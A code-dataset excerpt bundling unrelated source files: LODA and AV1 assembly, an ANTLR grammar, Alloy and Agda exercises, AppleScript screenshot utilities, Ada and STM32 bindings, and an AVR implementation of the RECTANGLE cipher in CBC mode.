max_stars_repo_path stringlengths 4 261 | max_stars_repo_name stringlengths 6 106 | max_stars_count int64 0 38.8k | id stringlengths 1 6 | text stringlengths 7 1.05M |
|---|---|---|---|---|
oeis/178/A178730.asm | neoneye/loda-programs | 11 | 164568 | <reponame>neoneye/loda-programs<gh_stars>10-100
; A178730: Partial sums of floor(7^n/8)/6.
; 0,1,8,58,408,2859,20016,140116,980816,6865717,48060024,336420174,2354941224,16484588575,115392120032,807744840232,5654213881632,39579497171433,277056480200040,1939395361400290,13575767529802040,95030372708614291,665212608960300048,4656488262722100348,32595417839054702448,228167924873382917149,1597175474113680420056,11180228318795762940406,78261598231570340582856,547831187620992384080007,3834818313346946688560064,26843728193428626819920464,187906097354000387739443264,1315342681478002714176102865
lpb $0
mov $2,$0
trn $0,2
seq $2,23000 ; a(n) = (7^n - 1)/6.
add $3,$2
lpe
mov $0,$3
|
antlr-plugin/src/test/resources/org/nemesis/antlrformatting/grammarfile/golden/TestSix-1-golden.g4 | timboudreau/ANTLR4-Plugins-for-NetBeans | 1 | 7099 | <reponame>timboudreau/ANTLR4-Plugins-for-NetBeans<gh_stars>1-10
/* Leading comment followed by blank line */
parser grammar TestSix;
options {
tokenVocab=TestFour;
tokenVocab=TestThree;
// a line comment
tokenVocab=TestFive;}
tokens { FOO, BAR, BAZ }
tokens { ONE, TWO, THREE, FOUR, FIVE, SIX, SEVEN, EIGHT, NINE, TEN, ELEVEN, TWELVE, THIRTEEN, FOURTEEN, FIFTEEN, SIXTEEN, SEVENTEEN, EIGHTEEN, NINETEEN, TWENTY, TWENTYONE, TWENTY_TWO, TWENTY_THREE, TWENTY_FOUR }
@parser::header { import java.util.*; }
@parser::members { Set<String> importedTypes = new HashSet<>();
Set<String> referencedTypes = new HashSet<>();
Set<String> definedTypes = new HashSet<>();
Map<String,String> aliasedTypes = new HashMap<>();
}
bug
: Word;
/** A doc
* comment */
word
: Word {System.out.println(ctx);
};
thing
: Word Word {
// a comment
System.out.println("foo");
if (true) {
int x = 23;
}
};
whunk
: FOO
| BAR
| BAZ;
bubba
: { istype()
}? BAZ
| { isfunc()
}? BAR;
add [ int x ] returns [ int result ]
: '+=' FOO {$result = $x + $FOO.int
};
throwingThing
: FOO BAR+;
catch [ RecognitionException e ] { throw e;
}
finally { System.out.println("that's all, folks");
// how about a comment and more stuff
assert 2 + 2 == 4;
}
otherThing
: FOO+
{
// these braces should stay commented
// if (true) {
// System.out.println("Hey");
// }
// otherwise we make a mess
} |
av1/encoder/x86/error_sse2.asm | ozyb/aom | 51 | 162623 | <filename>av1/encoder/x86/error_sse2.asm
;
; Copyright (c) 2016, Alliance for Open Media. All rights reserved
;
; This source code is subject to the terms of the BSD 2 Clause License and
; the Alliance for Open Media Patent License 1.0. If the BSD 2 Clause License
; was not distributed with this source code in the LICENSE file, you can
; obtain it at www.aomedia.org/license/software. If the Alliance for Open
; Media Patent License 1.0 was not distributed with this source code in the
; PATENTS file, you can obtain it at www.aomedia.org/license/patent.
;
;
; Increment %1 by sizeof() tran_low_t * %2.
%macro INCREMENT_ELEMENTS_TRAN_LOW 2
lea %1, [%1 + %2 * 4]
%endmacro
; Load %2 + %3 into m%1.
; %3 is the offset in elements, not bytes.
; If tran_low_t is 16 bits (low bit depth configuration) then load the value
; directly. If tran_low_t is 32 bits (high bit depth configuration) then pack
; the values down to 16 bits.
%macro LOAD_TRAN_LOW 3
mova m%1, [%2 + (%3) * 4]
packssdw m%1, [%2 + (%3) * 4 + 16]
%endmacro
%define private_prefix av1
%include "third_party/x86inc/x86inc.asm"
SECTION .text
; int64_t av1_block_error(int16_t *coeff, int16_t *dqcoeff, intptr_t block_size,
; int64_t *ssz)
INIT_XMM sse2
cglobal block_error, 3, 3, 8, uqc, dqc, size, ssz
pxor m4, m4 ; sse accumulator
pxor m6, m6 ; ssz accumulator
pxor m5, m5 ; dedicated zero register
.loop:
LOAD_TRAN_LOW 2, uqcq, 0
LOAD_TRAN_LOW 0, dqcq, 0
LOAD_TRAN_LOW 3, uqcq, 8
LOAD_TRAN_LOW 1, dqcq, 8
INCREMENT_ELEMENTS_TRAN_LOW uqcq, 16
INCREMENT_ELEMENTS_TRAN_LOW dqcq, 16
sub sizeq, 16
psubw m0, m2
psubw m1, m3
; individual errors are max. 15bit+sign, so squares are 30bit, and
; thus the sum of 2 should fit in a 31bit integer (+ unused sign bit)
pmaddwd m0, m0
pmaddwd m1, m1
pmaddwd m2, m2
pmaddwd m3, m3
; the sum of 2 31bit integers will fit in a 32bit unsigned integer
paddd m0, m1
paddd m2, m3
; accumulate in 64bit
punpckldq m7, m0, m5
punpckhdq m0, m5
paddq m4, m7
punpckldq m7, m2, m5
paddq m4, m0
punpckhdq m2, m5
paddq m6, m7
paddq m6, m2
jg .loop
; accumulate horizontally and store in return value
movhlps m5, m4
movhlps m7, m6
paddq m4, m5
paddq m6, m7
%if ARCH_X86_64
movq rax, m4
movq [sszq], m6
%else
mov eax, sszm
pshufd m5, m4, 0x1
movq [eax], m6
movd eax, m4
movd edx, m5
%endif
RET
|
Grasp.scpt | vroy/grasp | 1 | 1214 | <reponame>vroy/grasp
set front_app to (path to frontmost application as Unicode text)
tell application front_app
-- Get the path of the current user and set a few useful paths
set home_path to POSIX path of (path to home folder as string)
set screenshots_path to home_path & "Screenshots/"
-- Set the current date and time for later use.
set now_time to do shell script "date '+%Y%m%d%H%M%S'"
-- Run the screencapture command and save the screenshot to the default path.
set filename to "Screenshot-" & now_time & ".png"
set full_path to screenshots_path & filename
do shell script "screencapture -i " & quoted form of full_path
-- Verify if screencapture actually took a file, and if not exit
tell application "System Events"
if not (exists file full_path) then return
end tell
do shell script "scp " & quoted form of full_path & " " & "<EMAIL>:~/screenshots/"
set share_url to "http://share.vroy.ca/" & filename
set the clipboard to share_url
return share_url
end tell
|
case-studies/performance/verification/alloy/ppc/tests/rfe006.als | uwplse/memsynth | 19 | 4666 | <gh_stars>10-100
module tests/rfe006
open program
open model
/**
PPC rfe006
"DpdR Fre Rfe DpdR Fre Rfe"
Cycle=DpdR Fre Rfe DpdR Fre Rfe
Relax=Rfe
Safe=Fre DpdR
{
0:r2=x; 0:r5=y;
1:r2=y;
2:r2=y; 2:r5=x;
3:r2=x;
}
P0 | P1 | P2 | P3 ;
lwz r1,0(r2) | li r1,1 | lwz r1,0(r2) | li r1,1 ;
xor r3,r1,r1 | stw r1,0(r2) | xor r3,r1,r1 | stw r1,0(r2) ;
lwzx r4,r3,r5 | | lwzx r4,r3,r5 | ;
exists
(0:r1=1 /\ 0:r4=0 /\ 2:r1=1 /\ 2:r4=0)
**/
one sig x, y extends Location {}
one sig P1, P2, P3, P4 extends Processor {}
one sig op1 extends Read {}
one sig op2 extends Read {}
one sig op3 extends Write {}
one sig op4 extends Read {}
one sig op5 extends Read {}
one sig op6 extends Write {}
fact {
P1.read[1, op1, x, 1]
P1.read[2, op2, y, 0] and op2.dep[op1]
P2.write[3, op3, y, 1]
P3.read[4, op4, y, 1]
P3.read[5, op5, x, 0] and op5.dep[op4]
P4.write[6, op6, x, 1]
}
Allowed:
run { Allowed_PPC } for 4 int expect 1 |
scripts/app/activate.applescript | briangonzalez/awesome-applescripts | 39 | 584 | <filename>scripts/app/activate.applescript
on run argv
if (count of argv) > 0 then
set app_name to item 1 of argv
end if
tell application app_name
reopen
activate
end tell
end run
|
nand2tetris/personal/signum.asm | raventid/coursera_learning | 1 | 245885 | <filename>nand2tetris/personal/signum.asm
// Program: Signum.asm
// Computes: if R0 > 0
// R1 = 1
// else
// R1 = 0
// TODO: I need to check instructions numbers. Not sure about do we count @ labels or not.
@R0
D=M
@8
D;JGT
@R1
M=0
@10
0;JMP
@R1
M=1
@10
0;JMP
|
test/asm/load-rom.asm | michealccc/rgbds | 522 | 83793 | <reponame>michealccc/rgbds
SECTION "Hello", ROM0
ld a, 1
LOAD "Wello", ROM0
ld a, 2
ENDL
|
alloy4fun_models/trashltl/models/19/2zz45wToooJzr6W4y.als | Kaixi26/org.alloytools.alloy | 0 | 2906 | open main
pred id2zz45wToooJzr6W4y_prop20 {
always all p : File | p in Trash since p not in Protected
}
pred __repair { id2zz45wToooJzr6W4y_prop20 }
check __repair { id2zz45wToooJzr6W4y_prop20 <=> prop20o } |
arch/ARM/STM32/svd/stm32l5x2/stm32_svd-icache.ads | morbos/Ada_Drivers_Library | 2 | 6036 | <reponame>morbos/Ada_Drivers_Library<gh_stars>1-10
-- This spec has been automatically generated from STM32L5x2.svd
pragma Restrictions (No_Elaboration_Code);
pragma Ada_2012;
pragma Style_Checks (Off);
with HAL;
with System;
package STM32_SVD.ICache is
pragma Preelaborate;
---------------
-- Registers --
---------------
-- ICACHE control register
type ICACHE_CR_Register is record
-- EN
EN : Boolean := False;
-- CACHEINV
CACHEINV : Boolean := False;
-- WAYSEL
WAYSEL : Boolean := True;
-- unspecified
Reserved_3_15 : HAL.UInt13 := 16#0#;
-- HITMEN
HITMEN : Boolean := False;
-- MISSMEN
MISSMEN : Boolean := False;
-- HITMRST
HITMRST : Boolean := False;
-- MISSMRST
MISSMRST : Boolean := False;
-- unspecified
Reserved_20_31 : HAL.UInt12 := 16#0#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for ICACHE_CR_Register use record
EN at 0 range 0 .. 0;
CACHEINV at 0 range 1 .. 1;
WAYSEL at 0 range 2 .. 2;
Reserved_3_15 at 0 range 3 .. 15;
HITMEN at 0 range 16 .. 16;
MISSMEN at 0 range 17 .. 17;
HITMRST at 0 range 18 .. 18;
MISSMRST at 0 range 19 .. 19;
Reserved_20_31 at 0 range 20 .. 31;
end record;
-- ICACHE status register
type ICACHE_SR_Register is record
-- Read-only. BUSYF
BUSYF : Boolean;
-- Read-only. BSYENDF
BSYENDF : Boolean;
-- Read-only. ERRF
ERRF : Boolean;
-- unspecified
Reserved_3_31 : HAL.UInt29;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for ICACHE_SR_Register use record
BUSYF at 0 range 0 .. 0;
BSYENDF at 0 range 1 .. 1;
ERRF at 0 range 2 .. 2;
Reserved_3_31 at 0 range 3 .. 31;
end record;
-- ICACHE interrupt enable register
type ICACHE_IER_Register is record
-- unspecified
Reserved_0_0 : HAL.Bit := 16#0#;
-- BSYENDIE
BSYENDIE : Boolean := False;
-- ERRIE
ERRIE : Boolean := False;
-- unspecified
Reserved_3_31 : HAL.UInt29 := 16#0#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for ICACHE_IER_Register use record
Reserved_0_0 at 0 range 0 .. 0;
BSYENDIE at 0 range 1 .. 1;
ERRIE at 0 range 2 .. 2;
Reserved_3_31 at 0 range 3 .. 31;
end record;
-- ICACHE flag clear register
type ICACHE_FCR_Register is record
-- unspecified
Reserved_0_0 : HAL.Bit := 16#0#;
-- Write-only. CBSYENDF
CBSYENDF : Boolean := False;
-- Write-only. CERRF
CERRF : Boolean := False;
-- unspecified
Reserved_3_31 : HAL.UInt29 := 16#0#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for ICACHE_FCR_Register use record
Reserved_0_0 at 0 range 0 .. 0;
CBSYENDF at 0 range 1 .. 1;
CERRF at 0 range 2 .. 2;
Reserved_3_31 at 0 range 3 .. 31;
end record;
subtype ICACHE_MMONR_MISSMON_Field is HAL.UInt16;
-- ICACHE miss monitor register
type ICACHE_MMONR_Register is record
-- Read-only. MISSMON
MISSMON : ICACHE_MMONR_MISSMON_Field;
-- unspecified
Reserved_16_31 : HAL.UInt16;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for ICACHE_MMONR_Register use record
MISSMON at 0 range 0 .. 15;
Reserved_16_31 at 0 range 16 .. 31;
end record;
subtype ICACHE_CRR_BASEADDR_Field is HAL.UInt8;
subtype ICACHE_CRR_RSIZE_Field is HAL.UInt3;
subtype ICACHE_CRR_REMAPADDR_Field is HAL.UInt11;
-- ICACHE region configuration register
type ICACHE_CRR_Register is record
-- BASEADDR
BASEADDR : ICACHE_CRR_BASEADDR_Field := 16#0#;
-- unspecified
Reserved_8_8 : HAL.Bit := 16#0#;
-- RSIZE
RSIZE : ICACHE_CRR_RSIZE_Field := 16#1#;
-- unspecified
Reserved_12_14 : HAL.UInt3 := 16#0#;
-- REN
REN : Boolean := False;
-- REMAPADDR
REMAPADDR : ICACHE_CRR_REMAPADDR_Field := 16#0#;
-- unspecified
Reserved_27_27 : HAL.Bit := 16#0#;
-- MSTSEL
MSTSEL : Boolean := False;
-- unspecified
Reserved_29_30 : HAL.UInt2 := 16#0#;
-- HBURST
HBURST : Boolean := False;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for ICACHE_CRR_Register use record
BASEADDR at 0 range 0 .. 7;
Reserved_8_8 at 0 range 8 .. 8;
RSIZE at 0 range 9 .. 11;
Reserved_12_14 at 0 range 12 .. 14;
REN at 0 range 15 .. 15;
REMAPADDR at 0 range 16 .. 26;
Reserved_27_27 at 0 range 27 .. 27;
MSTSEL at 0 range 28 .. 28;
Reserved_29_30 at 0 range 29 .. 30;
HBURST at 0 range 31 .. 31;
end record;
-----------------
-- Peripherals --
-----------------
-- ICache
type ICache_Peripheral is record
-- ICACHE control register
ICACHE_CR : aliased ICACHE_CR_Register;
-- ICACHE status register
ICACHE_SR : aliased ICACHE_SR_Register;
-- ICACHE interrupt enable register
ICACHE_IER : aliased ICACHE_IER_Register;
-- ICACHE flag clear register
ICACHE_FCR : aliased ICACHE_FCR_Register;
-- ICACHE hit monitor register
ICACHE_HMONR : aliased HAL.UInt32;
-- ICACHE miss monitor register
ICACHE_MMONR : aliased ICACHE_MMONR_Register;
-- ICACHE region configuration register
ICACHE_CRR0 : aliased ICACHE_CRR_Register;
-- ICACHE region configuration register
ICACHE_CRR1 : aliased ICACHE_CRR_Register;
-- ICACHE region configuration register
ICACHE_CRR2 : aliased ICACHE_CRR_Register;
-- ICACHE region configuration register
ICACHE_CRR3 : aliased ICACHE_CRR_Register;
end record
with Volatile;
for ICache_Peripheral use record
ICACHE_CR at 16#0# range 0 .. 31;
ICACHE_SR at 16#4# range 0 .. 31;
ICACHE_IER at 16#8# range 0 .. 31;
ICACHE_FCR at 16#C# range 0 .. 31;
ICACHE_HMONR at 16#10# range 0 .. 31;
ICACHE_MMONR at 16#14# range 0 .. 31;
ICACHE_CRR0 at 16#20# range 0 .. 31;
ICACHE_CRR1 at 16#24# range 0 .. 31;
ICACHE_CRR2 at 16#28# range 0 .. 31;
ICACHE_CRR3 at 16#2C# range 0 .. 31;
end record;
-- ICache
ICache_Periph : aliased ICache_Peripheral
with Import, Address => System'To_Address (16#40030400#);
-- ICache
SEC_ICache_Periph : aliased ICache_Peripheral
with Import, Address => System'To_Address (16#50030400#);
end STM32_SVD.ICache;
|
Chapter2/#4.agda | CodaFi/HoTT-Exercises | 0 | 4040 | <reponame>CodaFi/HoTT-Exercises
module #4 where
open import Relation.Binary.PropositionalEquality
open import Data.Product
open import Data.Nat
{-
Exercise 2.4. Define, by induction on n, a general notion of n-dimensional path in a
type A, simultaneously with the type of boundaries for such paths.
-}
-- We need pointed sets for this part
Set• : ∀ i → Set _
Set• i = Σ (Set i) λ X → X
Ω₁ : ∀ {i} → Set• i → Set• i
Ω₁ (X , x) = ((x ≡ x) , refl)
Ωⁿ : ∀ {i} → ℕ → Set• i → Set• _
Ωⁿ 0 x = x
Ωⁿ (suc n) x = Ωⁿ n (Ω₁ x)
|
source/web/tools/a2js/webapi/dom/webapi-dom-parent_nodes.ads | svn2github/matreshka | 24 | 30266 | <reponame>svn2github/matreshka<filename>source/web/tools/a2js/webapi/dom/webapi-dom-parent_nodes.ads
------------------------------------------------------------------------------
-- --
-- Matreshka Project --
-- --
-- Web Framework --
-- --
-- Web API Definition --
-- --
------------------------------------------------------------------------------
-- --
-- Copyright © 2014-2015, <NAME> <<EMAIL>> --
-- All rights reserved. --
-- --
-- Redistribution and use in source and binary forms, with or without --
-- modification, are permitted provided that the following conditions --
-- are met: --
-- --
-- * Redistributions of source code must retain the above copyright --
-- notice, this list of conditions and the following disclaimer. --
-- --
-- * Redistributions in binary form must reproduce the above copyright --
-- notice, this list of conditions and the following disclaimer in the --
-- documentation and/or other materials provided with the distribution. --
-- --
-- * Neither the name of the Vadim Godunko, IE nor the names of its --
-- contributors may be used to endorse or promote products derived from --
-- this software without specific prior written permission. --
-- --
-- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS --
-- "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT --
-- LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR --
-- A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT --
-- HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, --
-- SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED --
-- TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR --
-- PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF --
-- LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING --
-- NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS --
-- SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. --
-- --
------------------------------------------------------------------------------
-- $Revision$ $Date$
------------------------------------------------------------------------------
-- This package provides binding to interface ParentNode.
------------------------------------------------------------------------------
limited with WebAPI.DOM.Elements;
with WebAPI.DOM.HTML_Collections;
with WebAPI.DOM.Node_Lists;
package WebAPI.DOM.Parent_Nodes is
pragma Preelaborate;
type Parent_Node is limited interface;
not overriding function Get_Children
(Self : not null access constant Parent_Node)
return WebAPI.DOM.HTML_Collections.HTML_Collection
is abstract
with Import => True,
Convention => JavaScript_Property_Getter,
Link_Name => "children";
-- Returns the child elements.
--
-- The children attribute must return an HTMLCollection collection rooted
-- at the context object matching only element children.
not overriding function Get_First_Element_Child
(Self : not null access constant Parent_Node)
return WebAPI.DOM.Elements.Element_Access is abstract
with Import => True,
Convention => JavaScript_Property_Getter,
Link_Name => "firstElementChild";
-- Returns the first child that is an element, and null otherwise.
--
-- The firstElementChild attribute must return the first child that is an
-- element, and null otherwise.
not overriding function Get_Last_Element_Child
(Self : not null access constant Parent_Node)
return WebAPI.DOM.Elements.Element_Access is abstract
with Import => True,
Convention => JavaScript_Property_Getter,
Link_Name => "lastElementChild";
-- Returns the last child that is an element, and null otherwise.
--
-- The lastElementChild attribute must return the last child that is an
-- element, and null otherwise.
not overriding function Get_Child_Element_Count
(Self : not null access constant Parent_Node)
return Natural is abstract
with Import => True,
Convention => JavaScript_Property_Getter,
Link_Name => "childElementCount";
-- The childElementCount attribute must return the number of children of
-- the context object that are elements.
not overriding function Query_Selector
(Self : not null access constant Parent_Node;
Selectors : WebAPI.DOM_String)
return WebAPI.DOM.Elements.Element_Access is abstract
with Import => True,
Convention => JavaScript_Method,
Link_Name => "querySelector";
-- Returns the first element that is a descendant of node that matches
-- selectors.
--
-- The querySelector(selectors) method must return the first result of
-- running scope-match a selectors string selectors against the context
-- object, and null if the result is an empty list otherwise.
not overriding function Query_Selector_All
(Self : not null access constant Parent_Node;
Selectors : WebAPI.DOM_String)
return WebAPI.DOM.Node_Lists.Node_List is abstract
with Import => True,
Convention => JavaScript_Method,
Link_Name => "querySelectorAll";
-- Returns all element descendants of node that match selectors.
--
-- The querySelectorAll(selectors) method must return the static result of
-- running scope-match a selectors string selectors against the context
-- object.
end WebAPI.DOM.Parent_Nodes;
|
RECTANGLE_AVR/RectangleScenario1CBC/Rectangle128SRAM.asm | FreeDisciplina/BlockCiphersOnAVR | 12 | 177167 | ;
; Constants
;
.EQU INITV_NUM_BYTE = 8
.EQU PTEXT_NUM_BYTE = (8*16)
.EQU KEY_NUM_BYTE = 16
.EQU KEYEXTENT_NUM_BYTE = (8 + 25*6)
#define KEYSCHEDULE
#define ENCRYPT
#define DECRYPT
; Registers declarations
.def k0 =r0
.def k1 =r1
.def k2 =r2
.def k3 =r3
.def k4 =r4
.def k5 =r5
.def k6 =r6
.def k7 =r7
.def k8 =r8
.def k9 =r9
.def k10=r10
.def k11=r11
.def k12=r12
.def k13=r13
.def k14=r14
.def k15=r15
.def s0 =r8
.def s1 =r9
.def s2 =r10
.def s3 =r11
.def s4 =r12
.def s5 =r13
.def s6 =r14
.def s7 =r15
.def t0 =r16
.def t1 =r17
.def t2 =r18
.def t3 =r19
.def kt0 =r0
.def kt1 =r1
.def dcnt =r21
.def rcnt =r22
.def rzero =r23
.def XL =r26
.def XH =r27
.def YL =r28
.def YH =r29
.def ZL =r30
.def ZH =r31
;*****************************************************************************
;;; load_key
;;;
;;; load master key to:
;;; r3:r2:r1:r0
;;; r7:r6:r5:r4
;;; r11:r10:r9:r8
;;; r15:r14:r13:r12
.MACRO load_key
ld k0, Y+
ld k1, Y+
ld k2, Y+
ld k3, Y+
ld k4, Y+
ld k5, Y+
ld k6, Y+
ld k7, Y+
ld k8, Y+
ld k9, Y+
ld k10, Y+
ld k11, Y+
ld k12, Y+
ld k13, Y+
ld k14, Y+
ld k15, Y
.ENDMACRO
;;;****************************************************************************
;;;
;;; store_subkey_first
;;;
.MACRO store_subkey_first
st Y+, k5
st Y+, k13
st Y+, k0
st Y+, k4
st Y+, k8
st Y+, k12
st Y+, k9
st Y+, k1
.ENDMACRO
;;;****************************************************************************
;;;
;;; store_subkey
;;;
.MACRO store_subkey
st Y+, k0
st Y+, k4
st Y+, k8
st Y+, k12
st Y+, k9
st Y+, k1
.ENDMACRO
;;;****************************************************************************
;;;
;;; load_init
;;;
.MACRO loadInitv
ld s0, X+
ld s1, X+
ld s2, X+
ld s3, X+
ld s4, X+
ld s5, X+
ld s6, X+
ld s7, X+
.ENDMACRO
;;;****************************************************************************
;;;
;;; load_input
;;;
.MACRO loadPlain
ld t0, X+
eor s0, t0
ld t0, X+
eor s1, t0
ld t0, X+
eor s2, t0
ld t0, X+
eor s3, t0
ld t0, X+
eor s4, t0
ld t0, X+
eor s5, t0
ld t0, X+
eor s6, t0
ld t0, X+
eor s7, t0
.ENDMACRO
;;;****************************************************************************
;;;
;;; store_output
;;;
.MACRO storeCipher
st Y+, s0
st Y+, s1
st Y+, s2
st Y+, s3
st Y+, s4
st Y+, s5
st Y+, s6
st Y+, s7
.ENDMACRO
.MACRO loadCipher
ld s0, Y+
ld s1, Y+
ld s2, Y+
ld s3, Y+
ld s4, Y+
ld s5, Y+
ld s6, Y+
ld s7, Y+
.ENDMACRO
.MACRO storePlain
ld t0, X
eor s0, t0
st X+, s0
ld t0, X
eor s1, t0
st X+, s1
ld t0, X
eor s2, t0
st X+, s2
ld t0, X
eor s3, t0
st X+, s3
ld t0, X
eor s4, t0
st X+, s4
ld t0, X
eor s5, t0
st X+, s5
ld t0, X
eor s6, t0
st X+, s6
ld t0, X
eor s7, t0
st X+, s7
.ENDMACRO
;;;****************************************************************************
;;;
.MACRO forward_key_update
;forward_key_sbox
;k0, k4, k8, k12
mov t0, k8
eor k8, k4
com k4
mov t1, k0
and k0, k4
or k4, k12
eor k4, t1
eor k12, t0
eor k0, k12
and k12, k4
eor k12, k8
or k8, k0
eor k8, k4
eor k4, t0
;w0: k3:k2:k1:k0
;w1: k7:k6:k5:k4
;w2: k11:k10:k9:k8
;w3: k15:k14:k13:k12
;t3:t2:t1:t0 <- w3: k15:k14:k13:k12
movw t0, k12
movw t2, k14
;w3: k15:k14:k13:k12 <- w0: k3:k2:k1:k0
movw k12, k0
movw k14, k2
;w0: k3:k2:k1:k0 <- w1: k7:k6:k5:k4
movw k0, k4
movw k2, k6
;w1: k7:k6:k5:k4 <- w2: k11:k10:k9:k8
movw k4, k8
movw k6, k10
;w2: k11:k10:k9:k8 <- t3:t2:t1:t0
movw k8, t0
movw k10, t2
;w0: k3:k2:k1:k0 ^= w3<<<a k14:k13:k12:k15
eor k0, k15
eor k1, k12
eor k2, k13
eor k3, k14
;w2: k11:k10:k9:k8 ^= w1<<<b w1: k5:k4:k7:k6
eor k8, k6
eor k9, k7
eor k10, k4
eor k11, k5
;key_addRC
lpm t0, Z+ ; 1 ins, 3 clocks
eor k0, t0 ; 1 ins, 1 clock
.ENDMACRO
;;;****************************************************************************
;;;
;;; substitute sbox
;input/output state s1:s0: a
;input/output state s3:s2: b
;input/output state s5:s4: c
;input/output state s7:s6: d
; temporary register t1:t0
; temporary register t3:t2
.MACRO forward_sbox
movw t0, s4
eor s4, s2
eor s5, s3
com s2
com s3
movw t2, s0
and s0, s2
and s1, s3
or s2, s6
or s3, s7
eor s6, t0
eor s7, t1
eor s0, s6
eor s1, s7
eor s2, t2
eor s3, t3
and s6, s2
and s7, s3
eor s6, s4
eor s7, s5
or s4, s0
or s5, s1
eor s4, s2
eor s5, s3
eor s2, t0
eor s3, t1
.ENDMACRO
;;;****************************************************************************
;;;
;;; substitute inverse sbox
;input/output state s1:s0: a
;input/output state s3:s2: b
;input/output state s5:s4: c
;input/output state s7:s6: d
; temporary register t1:t0
; temporary register t3:t2
.MACRO invert_sbox
movw t0, s0
and s0, s4
and s1, s5
eor s0, s6
eor s1, s7
or s6, t0
or s7, t1
eor s6, s4
eor s7, s5
eor s2, s6
eor s3, s7
movw s4, s2
eor s2, t0
eor s3, t1
eor s2, s0
eor s3, s1
com s6
com s7
movw t0, s6
or s6, s2
or s7, s3
eor s6, s0
eor s7, s1
and s0, s2
and s1, s3
eor s0, t0
eor s1, t1
.ENDMACRO
.MACRO rotate16_left_row1
lsl s2
rol s3
adc s2, rzero
.ENDMACRO
.MACRO rotate16_left_row2
swap s4
swap s5
movw t0, s4
eor t1, t0
andi t1, 0xf0
eor s4, t1
eor s5, t1
.ENDMACRO
.MACRO rotate16_left_row3
swap s6
swap s7
movw t0, s6
eor t1, t0
andi t1, 0xf0
eor s6, t1
eor s7, t1
lsl s6
rol s7
adc s6, rzero
.ENDMACRO
.MACRO rotate16_right_row1
bst s2, 0
ror s3
ror s2
bld s3, 7
.ENDMACRO
.MACRO rotate16_right_row2
swap s4
swap s5
movw t0, s4
eor t1, t0
andi t1, 0x0f
eor s4, t1
eor s5, t1
.ENDMACRO
.MACRO rotate16_right_row3
lsl s6
rol s7
adc s6, rzero
lsl s6
rol s7
adc s6, rzero
lsl s6
rol s7
adc s6, rzero
.ENDMACRO
.MACRO forward_permutation
rotate16_left_row1
rotate16_left_row2
rotate16_left_row3
.ENDMACRO
.MACRO invert_permutation
rotate16_right_row1
rotate16_right_row2
rotate16_right_row3
.ENDMACRO
.MACRO keyxor
eor s3, kt0
eor s7, kt1
ld t0, Z+
eor s0, t0
ld t0, Z+
eor s2, t0
ld t0, Z+
eor s4, t0
ld t0, Z+
eor s6, t0
ld kt0, Z+
eor s5, kt0
ld kt1, Z+
eor s1, kt1
.ENDMACRO
.MACRO ikeyxor
eor s1, kt1
eor s5, kt0
ld t0, -Z
eor s6, t0
ld t0, -Z
eor s4, t0
ld t0, -Z
eor s2, t0
ld t0, -Z
eor s0, t0
ld kt1, -Z
eor s7, kt1
ld kt0, -Z
eor s3, kt0
.ENDMACRO
.MACRO forward_round
keyxor
forward_sbox
forward_permutation
.ENDMACRO
.MACRO forward_last_round
keyxor
.ENDMACRO
.MACRO invert_round
ikeyxor
invert_permutation
invert_sbox
.ENDMACRO
.MACRO invert_last_round
ikeyxor
.ENDMACRO
#if defined(KEYSCHEDULE)
keyschedule:
ldi YH, high(SRAM_KEY)
ldi YL, low(SRAM_KEY)
load_key
ldi YH, high(SRAM_SUBKEY)
ldi YL, low(SRAM_SUBKEY)
store_subkey_first
ldi rcnt, 25
clr rzero
ldi ZH, high(RC<<1)
ldi ZL, low(RC<<1)
keyschedule_start:
forward_key_update
store_subkey
dec rcnt
cpse rcnt, rzero
rjmp keyschedule_start
keyschedule_last:
ret
#endif
#ifdef ENCRYPT
encrypt:
clr rzero
ldi dcnt,16
ldi XH, high(SRAM_INITV)
ldi XL, low(SRAM_INITV)
loadInitv
ldi YH, high(SRAM_PTEXT)
ldi YL, low(SRAM_PTEXT)
CBC16_encrypt_start:
ldi ZH, high(SRAM_SUBKEY)
ldi ZL, low(SRAM_SUBKEY)
ldi rcnt,25
loadPlain
ld kt0, Z+
ld kt1, Z+
encrypt_start:
forward_round
dec rcnt
cpse rcnt, rzero
rjmp encrypt_start
forward_last_round
storeCipher
dec dcnt
cpse dcnt, rzero
rjmp CBC16_encrypt_start
ret
#endif
#ifdef DECRYPT
decrypt:
clr rzero
ldi dcnt,16
ldi XH, high(SRAM_INITV)
ldi XL, low(SRAM_INITV)
ldi YH, high(SRAM_PTEXT)
ldi YL, low(SRAM_PTEXT)
CBC16_decrypt_start:
ldi ZH, high(SRAM_SUBKEY + KEYEXTENT_NUM_BYTE)
ldi ZL, low(SRAM_SUBKEY + KEYEXTENT_NUM_BYTE)
ldi rcnt,25
loadCipher
ld kt1, -Z
ld kt0, -Z
decrypt_start:
invert_round
dec rcnt
cpse rcnt, rzero
rjmp decrypt_start
invert_last_round
storePlain
dec dcnt
cpse dcnt, rzero
rjmp CBC16_decrypt_start
ret
#endif
#if defined(KEYSCHEDULE)
RC:
